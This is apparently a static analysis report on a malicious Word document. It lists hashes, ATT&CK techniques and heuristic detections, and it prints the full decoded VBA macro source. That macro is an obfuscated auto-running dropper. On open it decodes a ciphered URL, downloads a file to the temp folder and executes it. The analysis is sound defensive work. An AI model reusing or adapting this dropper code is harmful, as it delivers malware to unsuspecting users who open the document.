Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6971df11e724ab79…

MALICIOUS

Office (OLE)

70.0 KB Created: 2018-10-18 22:56:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: e5ec27950f4f526e8f609728a882de0c SHA-1: 9113af1edcf69fca5ed03a74c163ee86af6f907f SHA-256: 6971df11e724ab79b2abafc8e1b729212d1700772b45345df9439301ae7e5593
238 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is a malicious Word document containing VBA macros. The 'Document_Open' macro is configured to execute upon opening, and it utilizes 'CreateObject' to download and save a file from an embedded URL. The document body's text, presented as payment details, serves as a lure to trick the user into enabling macros.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    µ®¦®º¥¸¸§½§¿®²®§ª°¡¼¦¹µ³¹«£º³¸©¬¶·¥·º¿¹£³³²µ¬¨¤½©ª¡²´¢½¨¬¹¢¡»£°¹·¤µ««µº®³¾³¯¤¼¤´¡ = «µº®³¾³¯¤¼¤´¡º°¾µ»¾¼¬¢·»¼®²¢¿¯µ¹«¦¬·´´³¶£²¶¿°¡¹´µ°¿²«¬¸°½·²º¯¶¶¢¢¾«¤½¦¼¥¶½¶µ²¼º§¾ª§©£¸¸ª©¤»¡®¥.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set «µº®³¾³¯¤¼¤´¡º°¾µ»¾¼¬¢·»¼®²¢¿¯µ¹«¦¬·´´³¶£²¶¿°¡¹´µ°¿²«¬¸°½·²º¯¶¶¢¢¾«¤½¦¼¥¶½¶µ²¼º§¾ª§©£¸¸ª©¤»¡®¥ = CreateObject("microsoft.xmlhttp")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ¦¸¬´«¥©³¨¶¤³¶´»ª¢´´º§ª·¸£°¼¯º¢¥¤¥¢«§£·¨¨²¥£¨·§»º¡§µ¡¦²¸££ªª¶»¬µ¯´¬¢µ¢¤§´²¿¶¼¿½ª¡°½¾«³©¹¬·º©¥ = Environ("tmp") + ¼¯´¼»ª¨¦«´¼¸¢¬ª²¬©¢µ®¦®º¥¸¸§½§¿®²®§ª°¡¼¦¹µ³¹«£º³¸©¬¶·¥·º¿¹£³³²µ¬¨¤½©ª¡²´¢½¨¬¹¢¡»£°("\áVZMJX.ÂÛÂ")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9197 bytes
SHA-256: bcb1ec6c1f37b0305268aae2b574be4d1aebeebde4f9e9c076ab25943e515478
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    Public Function ¼¯´¼»ª¨¦«´¼¸¢¬ª²¬©¢µ®¦®º¥¸¸§½§¿®²®§ª°¡¼¦¹µ³¹«£º³¸©¬¶·¥·º¿¹£³³²µ¬¨¤½©ª¡²´¢½¨¬¹¢¡»£°(¹·¤µ««µº®³¾³¯¤¼¤´¡º°¾µ»¾¼¬¢·»¼®²¢¿¯µ¹«¦¬·´´³¶£²¶¿°¡¹´µ°¿²«¬¸°½·²º¯¶¶¢¢¾«¤½¦¼¥¶½¶µ²¼º§¾ª§©£¸¸ª©¤»¡)
        ª¸¶¶µ¸¢¦¡¯²§³µ·²¯³ª¼¹³¾¹´»®¸·¡¨¸ª£¶¥¶£¡¿¸·³½¼¦¸©¥¨¡²º¨§¢´²¬£¸«°£©º¿¿¾®¹µ¹¤´³¼¾¯»¥µ°©»¼§º½©¤¹®¹²®°¡¯ = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        µ¿·¹¦¹¯¼§©µ®°¤¦°»«²¦¡¾»£¢®¡³·°«¦¦§¤º¾¬¶½½¨¦¥©µ¾º°ª©´ª¨°¢¬¤»»¤²¹¥·¦¸¬´«¥©³¨¶¤³¶´»ª¢´´º§ª·¸£° = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(¹·¤µ««µº®³¾³¯¤¼¤´¡º°¾µ»¾¼¬¢·»¼®²¢¿¯µ¹«¦¬·´´³¶£²¶¿°¡¹´µ°¿²«¬¸°½·²º¯¶¶¢¢¾«¤½¦¼¥¶½¶µ²¼º§¾ª§©£¸¸ª©¤»¡)
            ¼¯º¢¥¤¥¢«§£·¨¨²¥£¨·§»º¡§µ¡¦²¸££ªª¶»¬µ¯´¬¢µ¢¤§´²¿¶¼¿½ª¡°½¾«³©¹¬·º©¥ª¸¶¶µ¸¢¦¡¯²§³µ·²¯³ª¼¹³¾¹´»®¸·¡¨¸ª = InStr(ª¸¶¶µ¸¢¦¡¯²§³µ·²¯³ª¼¹³¾¹´»®¸·¡¨¸ª£¶¥¶£¡¿¸·³½¼¦¸©¥¨¡²º¨§¢´²¬£¸«°£©º¿¿¾®¹µ¹¤´³¼¾¯»¥µ°©»¼§º½©¤¹®¹²®°¡¯, Mid(¹·¤µ««µº®³¾³¯¤¼¤´¡º°¾µ»¾¼¬¢·»¼®²¢¿¯µ¹«¦¬·´´³¶£²¶¿°¡¹´µ°¿²«¬¸°½·²º¯¶¶¢¢¾«¤½¦¼¥¶½¶µ²¼º§¾ª§©£¸¸ª©¤»¡, i, 1))
            If ¼¯º¢¥¤¥¢«§£·¨¨²¥£¨·§»º¡§µ¡¦²¸££ªª¶»¬µ¯´¬¢µ¢¤§´²¿¶¼¿½ª¡°½¾«³©¹¬·º©¥ª¸¶¶µ¸¢¦¡¯²§³µ·²¯³ª¼¹³¾¹´»®¸·¡¨¸ª > 0 Then
                £¶¥¶£¡¿¸·³½¼¦¸©¥¨¡²º¨§¢´²¬£¸«°£©º¿¿¾®¹µ¹¤´³¼¾¯»¥µ°©»¼§º½©¤¹®¹²®°¡¯µ¿·¹¦¹¯¼§©µ®°¤¦°»«²¦¡¾»£¢ = Mid(µ¿·¹¦¹¯¼§©µ®°¤¦°»«²¦¡¾»£¢®¡³·°«¦¦§¤º¾¬¶½½¨¦¥©µ¾º°ª©´ª¨°¢¬¤»»¤²¹¥·¦¸¬´«¥©³¨¶¤³¶´»ª¢´´º§ª·¸£°, ¼¯º¢¥¤¥¢«§£·¨¨²¥£¨·§»º¡§µ¡¦²¸££ªª¶»¬µ¯´¬¢µ¢¤§´²¿¶¼¿½ª¡°½¾«³©¹¬·º©¥ª¸¶¶µ¸¢¦¡¯²§³µ·²¯³ª¼¹³¾¹´»®¸·¡¨¸ª, 1)
                ®¡³·°«¦¦§¤º¾¬¶½½¨¦¥©µ¾º°ª©´ª¨°¢¬¤»»¤²¹¥·¦¸¬´«¥©³¨¶¤³¶´»ª¢´´º§ª·¸£°¼¯º¢¥¤¥¢«§£·¨¨²¥ = ®¡³·°«¦¦§¤º¾¬¶½½¨¦¥©µ¾º°ª©´ª¨°¢¬¤»»¤²¹¥·¦¸¬´«¥©³¨¶¤³¶´»ª¢´´º§ª·¸£°¼¯º¢¥¤¥¢«§£·¨¨²¥ + £¶¥¶£¡¿¸·³½¼¦¸©¥¨¡²º¨§¢´²¬£¸«°£©º¿¿¾®¹µ¹¤´³¼¾¯»¥µ°©»¼§º½©¤¹®¹²®°¡¯µ¿·¹¦¹¯¼§©µ®°¤¦°»«²¦¡¾»£¢
            Else
                ®¡³·°«¦¦§¤º¾¬¶½½¨¦¥©µ¾º°ª©´ª¨°¢¬¤»»¤²¹¥·¦¸¬´«¥©³¨¶¤³¶´»ª¢´´º§ª·¸£°¼¯º¢¥¤¥¢«§£·¨¨²¥ = ®¡³·°«¦¦§¤º¾¬¶½½¨¦¥©µ¾º°ª©´ª¨°¢¬¤»»¤²¹¥·¦¸¬´«¥©³¨¶¤³¶´»ª¢´´º§ª·¸£°¼¯º¢¥¤¥¢«§£·¨¨²¥ + Mid(¹·¤µ««µº®³¾³¯¤¼¤´¡º°¾µ»¾¼¬¢·»¼®²¢¿¯µ¹«¦¬·´´³¶£²¶¿°¡¹´µ°¿²«¬¸°½·²º¯¶¶¢¢¾«¤½¦¼¥¶½¶µ²¼º§¾ª§©£¸¸ª©¤»¡, i, 1)
            End If
        Next
        ¼¯´¼»ª¨¦«´¼¸¢¬ª²¬©¢µ®¦®º¥¸¸§½§¿®²®§ª°¡¼¦¹µ³¹«£º³¸©¬¶·¥·º¿¹£³³²µ¬¨¤½©ª¡²´¢½¨¬¹¢¡»£° = ®¡³·°«¦¦§¤º¾¬¶½½¨¦¥©µ¾º°ª©´ª¨°¢¬¤»»¤²¹¥·¦¸¬´«¥©³¨¶¤³¶´»ª¢´´º§ª·¸£°¼¯º¢¥¤¥¢«§£·¨¨²¥
    End Function

Private Sub Document_Open()
Dim «µº®³¾³¯¤¼¤´¡º°¾µ»¾¼¬¢·»¼®²¢¿¯µ¹«¦¬·´´³¶£²¶¿°¡¹´µ°¿²«¬¸°½·²º¯¶¶¢¢¾«¤½¦¼¥¶½¶µ²¼º§¾ª§©£¸¸ª©¤»¡®¥
Set «µº®³¾³¯¤¼¤´¡º°¾µ»¾¼¬¢·»¼®²¢¿¯µ¹«¦¬·´´³¶£²¶¿°¡¹´µ°¿²«¬¸°½·²º¯¶¶¢¢¾«¤½¦¼¥¶½¶µ²¼º§¾ª§©£¸¸ª©¤»¡®¥ = CreateObject("microsoft.xmlhttp")
Dim ¦¸¬´«¥©³¨¶¤³¶´»ª¢´´º§ª·¸£°¼¯º¢¥¤¥¢«§£·¨¨²¥£¨·§»º¡§µ¡¦²¸££ªª¶»¬µ¯´¬¢µ¢¤§´²¿¶¼¿½ª¡°½¾«³©¹¬·º©¥
Dim ¢®¡³·°«¦¦§¤º¾¬¶½½¨¦¥©µ¾º°ª©´ª¨°¢¬¤»»¤²¹¥·¦¸¬´«¥©³¨¶¤³¶´»ª¢´´º§ª·¸£°¼¯º¢¥¤¥¢«§£·¨¨²¥£¨·§»º¡§µ¡¦²
Set ¢®¡³·°«¦¦§¤º¾¬¶½½¨¦¥©µ¾º°ª©´ª¨°¢¬¤»»¤²¹¥·¦¸¬´«¥©³¨¶¤³¶´»ª¢´´º§ª·¸£°¼¯º¢¥¤¥¢«§£·¨¨²¥£¨·§»º¡§µ¡¦² = CreateObject("Shell.Application")

¦¸¬´«¥©³¨¶¤³¶´»ª¢´´º§ª·¸£°¼¯º¢¥¤¥¢«§£·¨¨²¥£¨·§»º¡§µ¡¦²¸££ªª¶»¬µ¯´¬¢µ¢¤§´²¿¶¼¿½ª¡°½¾«³©¹¬·º©¥ = Environ("tmp") + ¼¯´¼»ª¨¦«´¼¸¢¬ª²¬©¢µ®¦®º¥¸¸§½§¿®²®§ª°¡¼¦¹µ³¹«£º³¸©¬¶·¥·º¿¹£³³²µ¬¨¤½©ª¡²´¢½¨¬¹¢¡»£°("\áVZMJX.ÂÛÂ")
«µº®³¾³¯¤¼¤´¡º°¾µ»¾¼¬¢·»¼®²¢¿¯µ¹«¦¬·´´³¶£²¶¿°¡¹´µ°¿²«¬¸°½·²º¯¶¶¢¢¾«¤½¦¼¥¶½¶µ²¼º§¾ª§©£¸¸ª©¤»¡®¥.Open "GET", ¼¯´¼»ª¨¦«´¼¸¢¬ª²¬©¢µ®¦®º¥¸¸§½§¿®²®§ª°¡¼¦¹µ³¹«£º³¸©¬¶·¥·º¿¹£³³²µ¬¨¤½©ª¡²´¢½¨¬¹¢¡»£°("hÖÖÓ://ÖhÂmÂÕ-ÛzÒÅÂ.mÂ/ÄÖhÂmÂÕ/áNÙ9994757667Ö47ÔwÂg7ÔgÕÔgÔÕÃg54ÖÙÔjÜÀÀdÀÂwÖqgÜ56ÖÁ55758F.ÂÛÂ"), False
«µº®³¾³¯¤¼¤´¡º°¾µ»¾¼¬¢·»¼®²¢¿¯µ¹«¦¬·´´³¶£²¶¿°¡¹´µ°¿²«¬¸°½·²º¯¶¶¢¢¾«¤½¦¼¥¶½¶µ²¼º§¾ª§©£¸¸ª©¤»¡®¥.send
µ®¦®º¥¸¸§½§¿®²®§ª°¡¼¦¹µ³¹«£º³¸©¬¶·¥·º¿¹£³³²µ¬¨¤½©ª¡²´¢½¨¬¹¢¡»£°¹·¤µ««µº®³¾³¯¤¼¤´¡ = «µº®³¾³¯¤¼¤´¡º°¾µ»¾¼¬¢·»¼®²¢¿¯µ¹«¦¬·´´³¶£²¶¿°¡¹´µ°¿²«¬¸°½·²º¯¶¶¢¢¾«¤½¦¼¥¶½¶µ²¼º§¾ª§©£¸¸ª©¤»¡®¥.responseBody
If «µº®³¾³¯¤¼¤´¡º°¾µ»¾¼¬¢·»¼®²¢¿¯µ¹«¦¬·´´³¶£²¶¿°¡¹´µ°¿²«¬¸°½·²º¯¶¶¢¢¾«¤½¦¼¥¶½¶µ²¼º§¾ª§©£¸¸ª©¤»¡®¥.Status = 200 Then
Set £¯½¾½¿·³·¦º²»½¿º¦»¢«®»¨®»«¥¿¿¸¡¯¢¶¾´½¶¸¨¯¾»©«³¿¡³°¸¹¬°°·¼¹¤µ¯£¹¶¡®¨§¨¥¯¼¯´¼»ª¨¦«´¼¸ = CreateObject("adodb.stream")
£¯½¾½¿·³·¦º²»½¿º¦»¢«®»¨®»«¥¿¿¸¡¯¢¶¾´½¶¸¨¯¾»©«³¿¡³°¸¹¬°°·¼¹¤µ¯£¹¶¡®¨§¨¥¯¼¯´¼»ª¨¦«´¼¸.Open
£¯½¾½¿·³·¦º²»½¿º¦»¢«®»¨®»«¥¿¿¸¡¯¢¶¾´½¶¸¨¯¾»©«³¿¡³°¸¹¬°°·¼¹¤µ¯£¹¶¡®¨§¨¥¯¼¯´¼»ª¨¦«´¼¸.Type = 1
£¯½¾½¿·³·¦º²»½¿º¦»¢«®»¨®»«¥¿¿¸¡¯¢¶¾´½¶¸¨¯¾»©«³¿¡³°¸¹¬°°·¼¹¤µ¯£¹¶¡®¨§¨¥¯¼¯´¼»ª¨¦«´¼¸.Write µ®¦®º¥¸¸§½§¿®²®§ª°¡¼¦¹µ³¹«£º³¸©¬¶·¥·º¿¹£³³²µ¬¨¤½©ª¡²´¢½¨¬¹¢¡»£°¹·¤µ««µº®³¾³¯¤¼¤´¡
£¯½¾½¿·³·¦º²»½¿º¦»¢«®»¨®»«¥¿¿¸¡¯¢¶¾´½¶¸¨¯¾»©«³¿¡³°¸¹¬°°·¼¹¤µ¯£¹¶¡®¨§¨¥¯¼¯´¼»ª¨¦«´¼¸.SaveToFile ¦¸¬´«¥©³¨¶¤³¶´»ª¢´´º§ª·¸£°¼¯º¢¥¤¥¢«§£·¨¨²¥£¨·§»º¡§µ¡¦²¸££ªª¶»¬µ¯´¬¢µ¢¤§´²¿¶¼¿½ª¡°½¾«³©¹¬·º©¥, 2
£¯½¾½¿·³·¦º²»½¿º¦»¢«®»¨®»«¥¿¿¸¡¯¢¶¾´½¶¸¨¯¾»©«³¿¡³°¸¹¬°°·¼¹¤µ¯£¹¶¡®¨§¨¥¯¼¯´¼»ª¨¦«´¼¸.Close
End If
¢®¡³·°«¦¦§¤º¾¬¶½½¨¦¥©µ¾º°ª©´ª¨°¢¬¤»»¤²¹¥·¦¸¬´«¥©³¨¶¤³¶´»ª¢´´º§ª·¸£°¼¯º¢¥¤¥¢«§£·¨¨²¥£¨·§»º¡§µ¡¦².Open (¦¸¬´«¥©³¨¶¤³¶´»ª¢´´º§ª·¸£°¼¯º¢¥¤¥¢«§£·¨¨²¥£¨·§»º¡§µ¡¦²¸££ªª¶»¬µ¯´¬¢µ¢¤§´²¿¶¼¿½ª¡°½¾«³©¹¬·º©¥)


End Sub

Attribute VB_Name = "NewMacros"
Sub dankiop()
'
' dankiop Macro
'
'

End Sub

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